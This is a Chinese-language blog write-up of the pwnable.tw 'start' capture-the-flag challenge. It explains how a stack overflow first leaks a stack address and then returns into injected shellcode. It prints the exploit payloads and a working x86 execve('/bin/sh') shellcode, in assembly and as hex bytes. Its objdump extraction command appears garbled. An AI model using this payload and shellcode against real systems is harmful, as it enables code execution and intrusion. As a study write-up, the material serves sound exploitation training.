pwnable.tw start 经验总结

这题我忽略了一个简单但是很重要的知识点,就是改变栈指针的大小的同时会扩展/释放栈空间,导致这题折腾了太久,直到看了这篇博客,在看解题方法时有一个疑点想着想着就突然注意到了
参考的wp

在这里插入图片描述
在 add esp, 14h 后栈空间被释放了0x14个空间,也就是"Let’s start the CTF:"这个字符串被丢弃了
所以可以构造
payload=‘a’ * 0x14 + p32(write_addr)
stack_addr = u32(c.recv(4))
来获得栈上的地址,随后便可以向栈上植入shellcode,执行exceve系统调用

exceve(’//bin/sh’)的汇编代码如下

Section .text
        global _start
_start:
        xor eax,eax
        push eax    //'/0'
        push 0x68732f6e   // '//bin/sh'
        push 0x69622f2f
        mov ebx,esp   
        push eax
        push ebx
        mov ecx,esp    //第二个参数为指针数组,所以要先把ebx压栈,再让ecx指向esp
        xor edx,edx
        mov al, 0x0b
        int 0x80

可以使用 一下命令来提取机器码

objdump -d ./execve-stack|grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ '|tr -s ’ '|tr ‘\t’ ’ '|sed ‘s/ / / g ′ ∣ s e d ′ s / / x / g ′ ∣ p a s t e − d ′ ′ − s ∣ s e d ′ s / / " / ′ ∣ s e d ′ s / //g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/ //gseds//x/gpastedsseds//"/seds//"/g’

来源

提取的机器码如下:

“\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”

还有没及时反应过来的点是:
payload2 = ‘a’*0x14 + p32(stack_addr+0x14) + shellcode

当时不明白为什么不是stack_addr + 0x18 ,stack_addr不是栈顶吗?20个 ‘a’ + 4字节的返回地址 + shellcode ,那从栈顶到shellcode 的偏移量不就是0x18了吗?,看其他的wp,把泄露stack_addr的这个地址写作esp让我想错了,重新用gdb调试明白了
在这里插入图片描述

’a’ 是从0xffffd18c开始覆盖的, 而stack_addr 是0xffffd190, 所以偏移量是0x14

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值